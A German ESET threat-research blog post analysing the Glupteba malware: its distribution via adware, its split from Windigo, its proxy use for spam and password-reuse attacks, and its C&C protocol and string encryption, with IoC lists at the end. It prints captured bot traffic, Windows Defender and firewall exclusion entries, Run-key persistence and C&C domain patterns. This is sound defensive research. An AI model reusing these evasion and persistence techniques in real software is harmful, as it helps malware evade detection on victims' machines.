Glupteba-Malware ist nicht länger Teil von Windigo

Glupteba-Malware ist nicht länger Teil von Windigo

Neuste ESET-Forschungen lassen vermuten, dass Glupteba nicht länger Teil der berüchtigten Windigo-Operation ist.

Neuste ESET-Forschungen lassen vermuten, dass Glupteba nicht länger Teil der berüchtigten Windigo-Operation ist.

ESET-Forschungen zu Linux/Ebury – der Core-Komponente der Operation Windigo – veranlassten uns auch auf andere Komponenten im Windigo-Ökosystem zu blicken. Wir wollten herausfinden, ob sie noch aktiv und Teil der gleichen Kampagne sind. Neuste ESET-Forschungen lassen vermuten, dass Glupteba nicht länger Teil der berüchtigten Windigo-Operation ist.

In diesem Beitrag erläutern wir die Ergebnisse unserer Untersuchungen. Es werden Informationen zum aktuellen Verbreitungsmechanismus von Glupteba dargestellt. Außerdem folgt eine kurze Analyse des Netzwerk-Traffics, der durch den Proxy verkehrt sowie eine technische Erklärung der momentanen Glupteba Binary.

Verbreitung von Glupteba im zeitlichen Verlauf

In der Vergangenheit ist Glupteba dafür bekannt geworden, auf verschiedene Verbreitungsmechanismen zurückzugreifen. ESET-Forscher verfolgten die Ausbreitungsstrategie der Malware über die letzten sieben Jahre hinweg. Hier geben wir nun eine kurze Übersicht über die „Evolutionsgeschichte“.

Im Jahr 2011 untersuchten die ESET-Forscher das berüchtigte TDL-4 Bootkit. Ihre Entdeckungen zeigten, dass es als Downloader für zusätzliche Malware diente. Glupteba war eine der unzähligen Malware-Varianten die der TDL-4 Trojaner installieren konnte. Die dahinterstehenden Malware-Entwickler verkauften das dazugehörige Verteilernetzwerk auf Schwarzmärkten.

Drei Jahre später ergaben ESET-Untersuchungen in Buzug auf die Windigo-Operation, dass Teile einer kompromittierten Linux Server Infrastruktur der Angreifer dazu benutzt wurde, bestimmte Anteile von HTTP-Anfragen durch Trojaner versuchte Instanzen von Webservern umzuleiten (Apache httpd, lighttpd and nginx).

Die umgeleiteten Anfragen sollten auf von den Windigo-Angreifern kontrollierte DNS-Server treffen, welche den A Record in der IP-Adresse des endgültigen Umleitungsziels auflösten. Letztere beherbergen meistens Exploit Kits. Bei einer erfolgreichen Exploitation wurde Glupteba installiert.

Die Verknüpfungen zwischen Windigo und Glupteba enden hier noch nicht. Auch Gluptebas C&C-Server wurden auf Maschinen gehostet, die Teil des Windigos Botnets waren. Der einzige Zweck von Glupteba war zu der Zeit Spam-Jobs, welche aus der Infrastruktur von Windigo stammten, weiterzuleiten. Allerdings lässt sich nur schwer feststellen, ob Glupteba von denselben Personen wie die vom Windigo-Botnet stammt oder ob es sich dabei um eine „Dienstleistung“ handelt, bei der die Windigo-Betreiber Teile ihrer Kapazität ihrer Infrastruktur weiterverkaufen.

Aktuelles Verbreitungsschema

Gluptebas Verbreitungsmechanismus veränderte sich im Verlauf der Zeit. Die Malware wird aktuell nicht mehr über Windigos Infrastruktur verteilt. Glupteba ist nun Teil eines eigenen Botnets und wird von MSIL/Adware.CsdiMonetize.AG verbreitet. Hierüber werden auch viele andere Malware-Familien installiert. Neben Glupteba haben wir auch Adware, Bitcoin-Miner und andere PUAs (potentiell unerwünschte Anwendungen) gesehen. MSIL/Adware.CsdiMonetize.AG ist nicht direkt für die Installation von Glupteba.AY verantwortlich. Stattdessen lädt es seinen Dropper herunter. Dieser registriert zunächst einen Bot im C&C-Botnet, umgeht den Windows Defender und die Windows Firewall und bereitet die Umgebung für Glupteba vor.

Hier sind einige exemplarische Daten, die durch den Bot, der sich im System des Opfers manifestiert, an den C&C-Server gesendet werden:

POST /bots/register HTTP/1.1
Host: burnandfire5.com
User-Agent: Go-http-client/1.1
Content-Length: 400
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip 

Data[appname]=SolitaryBrook&Data[arch]=32&Data[av]=&Data[build_number]=7601&Data[compaign_id]=&Data[cpu]=<CPU_SPEC>&Data[defender]=1&Data[exploited]=1&Data[firewall]=1&Data[gpu]=<GPU_INFO>&Data[is_admin]=1&Data[os]=<OS_INFO>&Data[username]=<USERNAME>&Data[version]=71

Es wird der Windows Registry-Eintrag HKCU\Software\Microsoft\TestApp\UUID erstellt. Dieser wird von Glupteba für die erfolgreiche Installation benötigt. Der Wert des Schlüssels darf nicht leer sein.

Schließlich werden die folgenden Registrierungseinträge erstellt, um Ausschlussregeln zu Windows Defender und der Windows-Firewall hinzuzufügen:

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet = 0HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = 0HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{09E3DB75-DE77-4B2D-A351-C745D9A15617} = „v2.10|Action=Allow|Active=TRUE|Dir=In|App=C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe“

Nach ESET-Telemetriedaten gibt es Glupteba in 180 verschiedenen Ländern seit Beginn 2017. Drei Länder sind für 25% aller Erkennungen verantwortlich – die Ukraine, Russland und die Türkei. Abbildung 1 zeigt die Verteilungsrate pro Land.

Glupteba Verteilungsrate pro Land

Abbildung 1: Verteilungsrate pro Land

Proxy-Nutzungsanalyse

Während der ESET-Untersuchungen zur Windigo-Operation bestand Gluptebas einziger Zweck darin, Spam-Jobs an die entsprechenden Empfänger weiterzuleiten. Wir wollten feststellen, ob sich der Einsatz von Glupteba seitdem veränderte. Im November 2017 erfassten wir den Netzwerk-Traffic über einen kompromittierten Knotenpunkt für die Dauer von vier Tagen. Wir entschlüsselten dabei nicht den HTTPS-Traffic, sodass sich unsere Sicht auf die nicht verschlüsselte Netzwerkprotokolle beschränkte. Unsere Analyse ergab, dass Glupteba nicht mehr nur für den Spam-Versand benutzt wurde. Hauptsächlich gebraucht man es nun für allerlei automatisierte Systeme. Wir gehen davon aus, dass die Glupteba-Operatoren einen Proxy-Service anbieten. Es folgt ein interessantes Beispiel aus Traffic, den wir abfangen konnten. Zunächst fällt auf, dass Glupteba immer noch als Relay verwendet wird, um Spam-Nachrichten zu verschicken:

From: „Ella Dmhfey“ <Ella87@bilanzgewinn.at>
To: „???????“ <??????????@gmail.com>
Subject: ?????????? kaufen Sie Se-xpower
Date: Fri, 10 Nov 2017 14:18:10 +0100
MIME-Version: 1.0
Content-Type: text/plain;   
charset=“iso-8859-1″
Content-Transfer-Encoding: 7bit

Guten Tag ????????? , 

Damit kriegen Sie Ihre Dame zum Hoehepunkt. 

?????????: http://www.sexpillen-versandhaus[.]info/shop

Bei unseren Forschungen beobachteten wir auch, dass Glupteba versuchte, Password-Reuse-Attacken durchzuführen. Den Angreifern wird eine gewisse Anonymität geboten, da ihre IP-Adresse  niemals dem Zielserver übergeben wird. Darüber hinaus werden die Anfragen auf mehrere IP-Adressen aufgeteilt, sodass sich das Risiko der Sperrung einer anfragenden IP-Adresse verringert. Wir konnten drei Domains aufspüren, auf die solche Password-Reuse-Angriffe ausgeübt wurden.

Table 1. Domains targeted that don’t use HTTPS

Domain nameShort description
adfoc.usURL shortener service where users are paid per visit
bonusbitcoin.coFree bitcoin faucet website
social.tunecore.comMusic distribution website

Wahrscheinlich gibt es aber noch weitere betroffene Domains. Basierend auf dem server_name extension field der HelloClient Structure, welche während des TLS-Handshakes gebraucht wurden, können wir Domain Names auflisten, die trotz HTTPS erfolgreich durchdrungen wurden. Das verschafft uns einen Einblick auf Webseiten, die man möglicherweise ins Visier nahm. Tabelle 2 listet solche Domain Names mit der dazugehörigen Authentifizierungs-URL.

Table 2. Domains in server_name certificate field

Server nameAuthentication URL
auth.mail.ruhttps://auth.mail.ru/cgi-bin/auth
www.instagram.comhttps://www.instagram.com/accounts/login/ajax/
store.steampowered.comhttps://store.steampowered.com/login/dologin/
www.amazon.comhttps://www.amazon.com/ap/signin
auth.riotgames.comhttps://auth.riotgames.com/authz/auth
vk.comhttps://vk.com/login
global.americanexpress.comhttps://global.americanexpress.com/myca/logon/emea/action
www.facebook.comhttps://www.facebook.com/login/device-based/regular/login/
signin.ea.comhttps://signin.ea.com/p/web2/login
account.t-mobile.comhttps://account.t-mobile.com/svr/authenticate
www.linkedin.comhttps://www.linkedin.com/uas/login-submit
www.westernunion.comhttps://www.westernunion.com/wuconnect/rest/api/v1.0/CustomerSignOn
www.paypal.comhttps://www.paypal.com/signin
www.britishairways.comhttps://www.britishairways.com/api/grant
auth.api.sonyentertainmentnetwork.comhttps://auth.api.sonyentertainmentnetwork.com/login.jsp
account.sonymobile.comhttps://account.sonymobile.com/api/ng/signin
www.expedia.comhttps://www.expedia.com/user/signin

Ein weiteres Beispiel für einen durch einen Proxy geleiteten automatischen System Traffic via Glupteba betrifft www.omegle.com. Omegle ist ein Chatroom, in dem sich zwei Gegenüber treffen können. Wir beobachteten wie ein Chatbot einen anderen User dazu bringen wollte, auf einen Link zu klicken. Es scheint so, als sei dieser Service ein beliebtes Zeil für Chatbots. In den meisten Interaktionen, in die wir hineinblicken konnten, versuchten sich zwei Chatbots gegenseitig dazu zu bringen, einen Link anzuklicken.

Eine der „Konversation“ zwischen zwei Chatbots ist hier zu sehen:

guest> heyy
stranger> my name is Tomasa
stranger> im female   .
stranger> from Rio de aneiro,Brazil
stranger> ready to talk, enter here:
stranger> bit.ly/<REDACTED>
guest> 18 female

guest> wanena etrade picturesh ?
guest> zyari.site/<REDACTED>
guest> messsage me theree ill sendc you sxome mor8e
guest> ok we2ll im goinn 2 getwt off bye

Außerdem begegneten wir Bots, die speziell gestaltete HTTP-POST-Anfragen generierten, um Webshells aufzuspüren. Dabei bearbeiteten sie eine Liste in alphabetischer Reihenfolge von oben nach unten durch und probierten Domain um Domain.

Diskussionen über Windigo

Wir entschieden uns dazu, Glupteba noch einmal genauer anzusehen, weil wir die damalige Verbindung zu Windigo näher beleuchten wollten.  Unsere Analysen führten uns zu dem Ergebnis, dass beide nicht länger miteinander in Verbindung stehen. Im Folgenden erklären wir warum.

Wir untersuchten zunächst die C&C-Server von Glupteba. Als wir die IP-Adressen auflisteten, fanden wir heraus, dass keine davon mit einem der kompromittierten Ebury-Server in Verbindung steht. Darüber hinaus verfügen die neuen C&C-Server über viele offene Ports. Dagegen besaßen die vorhergehenden Server lediglich DNAT- und SNAT-Richtlinien, um den Traffic zu dem eigentlichen C&C-Server umzuleiten. Das Öffnen von so vielen Ports eines kompromittierten Servers verursacht viel Aufmerksamkeit. Das ist nicht der Modus Operandi der Windigo-Operatoren.

Aus unserem Whitepaper von 2014 geht hervor, dass der Client, der sich mit Glupteba verbindet, eine HTTP-GET-Anforderung an Port 25 an eine von Ebury kompromittierte Maschine sendet, bevor er mit dem Verteilen von Spam-Jobs beginnt. Das ist nicht länger der Fall: Spam-Jobs werden nun direkt durch den Proxy geleitet. Die Spam-Nachrichten selbst sehen nicht mehr so aus wie bei der Windigo-Kampagne, bei der die Nachrichten zu einer Dating-Webseite führten. Es scheint zwar, als ob es eine Fortsetzung des Spam-Versands gibt (siehe weiter oben), aber wir glauben nicht daran, dass das der Hauptzweck ist.

Letztendlich steht auch die Verteilung nicht mehr im Zusammenhang mit Windigo. Wie zuvor bereits erwähnt, findet die Verbreitung nun über MSIL/Adware.CsdiMonetize.AG statt.

Aus all diesen Gründen glauben wir, dass Glupteba nicht länger mit der Windigo-Kampagne in Verbindung steht.

Technische Analyse

In diesem Abschnitt gehen wir genauer auf unsere technische Analyse der Glupteba Malware-Samples ein. Zunächst bemerkten wir, dass die untersuchten Proben nicht wie die aus dem Jahre 2014 aussahen. Wir glauben, dass Glupteba von Grund auf neugeschrieben wurde. War Glupteba früher ein eher simples Programm, ist es heute sehr komplex, umfassend und in C++ geschrieben. Damals besaß es rund 70 Funktionen – heute sind es über 3600.

Glupteba Vergleich des Funktionsumfangs

Abbildung 2: Vergleich des Funktionsumfangs damals und heute

Glupteba ist nun statisch mit den Boost C++ Libraries verlinkt, wie Abbildung 3 zeigt. Um über Sockets zu kommunizieren, gebraucht es die Windows Sockets APIs WSASend und WSARecv anstelle von send und recv.

Mit in Boost C++ Library Verbindung stehende Zeichenketten

Abbildung 3: Mit in Boost C++ Library Verbindung stehende Zeichenketten

Persistenz

Glupteba erreicht Persistenz im System, indem es einen Eintrag im Run Registryschlüssel anlegt. Bei jedem Windows-Boot wird Glupteba auch gestartet. Der Eintrag sieht wie folgt aus:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CloudNet =  „%APPDATA%\EpicNet Inc\CloudNet\cloudnet.exe“

Auch andere Einträge werden in der Windows Registry angelegt. Die Interessantesten sind die folgenden beiden:

HKCU\Software\EpicNet Inc.\CloudNet\Value = „20180223“
HKCU\Software\EpicNet Inc.\CloudNet\GUID = „CDC0432A-0298-40B1-9A71-D61F94C013A7“

Der GUID-Eintrag wird in der Bot-ID festgehalten, welche durch die Abfrage CoCreateGuid generiert wird. Wie für den Value-Eintrag enthält es den PE-Zeitstempel der Binärdatei von Glupteba.

C&C-Kommunikation

Im Hinblick auf die Netzwerkaktivitäten ergeben sich keine großen Unterschiede zwischen den aktuellen und alten Samples aus der Windigo-Kampagne. Wenn Glupteba gestartet wird, sendet die Malware denselben Beacon zum C&C-Server. Die Antwort enthält die Session und gibt Auskunft über welchen Port sich Glupteba verbinden soll, um den Proxy-Job entgegenzunehmen. Das frühere Whitepaper gibt Aufschluss über Informationen zum verwendeten Protokoll.

Zum C&C-Server gesendete Beacon:

GET
/stat?uptime=100&downlink=1111&uplink=1111&id=05AA812F&statpass=bpass&version=20171106&features=30&guid=68794E51-0DBC-4CF6-BD98-8B18FE3E0A18&comment=20171106&p=0&s= HTTP/1.0

Die C&C-Server sind verschlüsselt in der Binary gespeichert. Entschlüsselt sehen sie so aus:

’server-%s.sportpics[.]xyz:30,server-%s.kinosport[.]top:30,‘

Die Zahl nach dem Doppelpunkt ist die maximale Reichweite der Servernummern. In diesem Fall bedeutet „30“, dass 30 Domain Names generiert werden, indem der Domain String mit Zahlen von 1 bis 30 formatiert wird. Bei der Kontaktaufnahme mit dem C&C-Server wird eine dieser Domains zufällig ausgewählt und die GUID der kompromittierten Maschine wird als eine Subdomain zum ausgewählten Server vorangestellt, die zu einer Domain wie dieser führt – Beispiel eines C&C-Servers:

68794E51-0DBC-4CF6-BD98-8B18FE3E0A18.server-1.sportpics[.]xyz

Glupteba sendet auch eine zweite GET-Anfrage an seinen C&C-Server, um Informationen über das Computersystem des Opfers zu aktualisieren. So sieht die Anfrage aus:

GET
/update.php?uid=<BOT_ID>&version=<VERSION>&OS=<OS>&have_admin=1&mys=<C&C_SERVERS>&build=<PE_TIMESTAMP>&cpu=<CPU>&video=<VIDEO_CARD>&ram=<GB_OF_RAM> HTTP/1.0

String Verschlüsselung

Gluptebas Strings werden mit einem eigenen Algorithmus verschlüsselt. Der Entschlüsselungsprozess verwendet einen 16-Byte-Schlüssel und hat drei separate Phasen. Der Schlüssel ist für jeden Build unterschiedlich. Während der ersten Phase wird der Mersenne-Twister-Pseudozufallszahlengenerator (PRNG) verwendet. Der Algorithmus wird mit den ersten vier Bytes des Schlüssels versehen. Dann wird jedes Byte der Chiffre mit dem nächsten von der PRNG erzeugten Byte XOR-verknüpft.

Glupteba: Phase eins des Entschlüsselungsprozesses

Abbildung 4: Phase eins des Entschlüsselungsprozesses

Es gibt drei verschiedene Varianten der zweiten Phase. Eine benutzt die Rabbit-Chiffre; eine andere verwendet eine zweite Runde von XOR-Operationen, ähnlich der aus der ersten Phase, aber mit einem anderen Startwert, der vom Schlüssel abgeleitet wird. Die einzige Variante, die in den analysierten Proben verwendet wird, ist die dritte. Sie besteht aus einer XOR-Schleife mit dem Schlüssel.

Die dritte und letzte Phase ist eine weitere XOR-Schleife mit einem Wert, der aus der Ausgabe der zweiten Phase und einigen unmittelbaren Werten berechnet wird.

Phase drei des Entschlüsselungsprozesses

Abbildung 5: Phase drei des Entschlüsselungsprozesses

In unserer GitHub Repository stellen wir ein Skript bereit, welches alle drei Zeichenketten entschlüsseln kann. Da die Mersenne Twister PRNG-Implementierung von Python ein wenig von der von Glupteba verwendeten abweicht, bieten wir auch eine Python-Implementierung des PRNG an. Vor dem Ausführen des String Decryption Skripts ist sicherzustellen, dass sich das entsprechende Verzeichnis in %PYTHONPATH% befindet. Durch die folgende Befehlszeile im IDA Python Interpreter ist das beispielsweise gewährleistet:

sys.path.append(<PATH_TO_SCRIPT>)

Fazit

Obwohl die Cyber Security Community unnachgiebig versucht, die Glupteba Malware-Kampagnen zu stören, verbreitet sich die Malware unaufhaltsam. Nach der Enthüllung der Operation Windigo haben sich die Verantwortlichen einfach anderen Taktiken zugewandt, um ihre Malware auf Computern rund um den Globus zu verteilen.

Die komplette Neugestaltung der Tools und die aktuelle Verbreitungsmethode zeigen, dass die Verantwortlichen hinter Glupteba immer noch sehr aktiv sind. Ihre Bemühungen legen nahe, dass der Open Proxy Market sehr lukrativ zu sein scheint. Daher gehen wir nicht davon aus, dass die Glupteba-Malware in naher Zukunft verschwinden wird.

IoCs

File hashes

SHA-1FilenameDetection name
B623F4A6CD5947CA0016D3E33A07EB72E8C176BAcloudnet.exeWin32/Glupteba.AY
ED310E5B9F582B4C6389F7AB9EED17D89497F277cloudnet.exeWin32/Glupteba.AY
F7230B2CAB4E4910BCA473B39EE8FD4DF394CE0Dsetup.exeMSIL/Adware.CsdiMonetize.AG
70F2763772FD1A1A54ED9EA88A2BCFDB184BCB91cloudnet.exeWin32/Glupteba.AY
87AD7E248DADC2FBE00D8441E58E64591D9E3CBEcloudnet.exeWin32/Glupteba.AY
1645AD8468A2FB54763C0EBEB766DFD8C643F3DBcsrss.exeWin32/Agent.SVE

Glupteba C&C Server Domains

server-{1,30}[.]ostdownload.xyz
server-{1,30}[.]travelsreview.world
server-{1,30}[.]bigdesign.website
server-{1,30}[.]sportpics.xyz
server-{1,30}[.]kinosport.top
server-{1,30}[.]0ev.ru
server-{1,30}[.]0df.ru
server-{1,30}[.]0d2.ru
server-{1,30}[.]0d9.ru

Glupteba C&C Server IP Adressen

5[.]101.6.132
5[.]79.87.139
5[.]79.87.153
5[.]8.10.194
37[.]48.81.151
46[.]165.244.129
46[.]165.249.167
46[.]165.249.195
46[.]165.249.201
46[.]165.249.203
46[.]165.250.25
78[.]31.67.205
78[.]31.67.206
80[.]93.90.27
80[.]93.90.32
80[.]93.90.69
80[.]93.90.72
80[.]93.90.78
80[.]93.90.84
81[.]30.152.25
85[.]114.135.113
85[.]114.141.81
89[.]163.206.137
89[.]163.206.174
89[.]163.212.9
91[.]121.65.98
91[.]216.93.126
91[.]216.93.20
109[.]238.10.78
178[.]162.193.193
178[.]162.193.195
178[.]162.193.66
178[.]162.193.86
193[.]111.140.238
193[.]111.141.213
212[.]92.100.114
212[.]92.100.115
213[.]202.254.161
213[.]5.70.9
217[.]79.189.227

Agent.SVE C&C Server Domains

financialtimesguru[.]com
comburnandfire5[.]com

Hier können Sie mitdiskutieren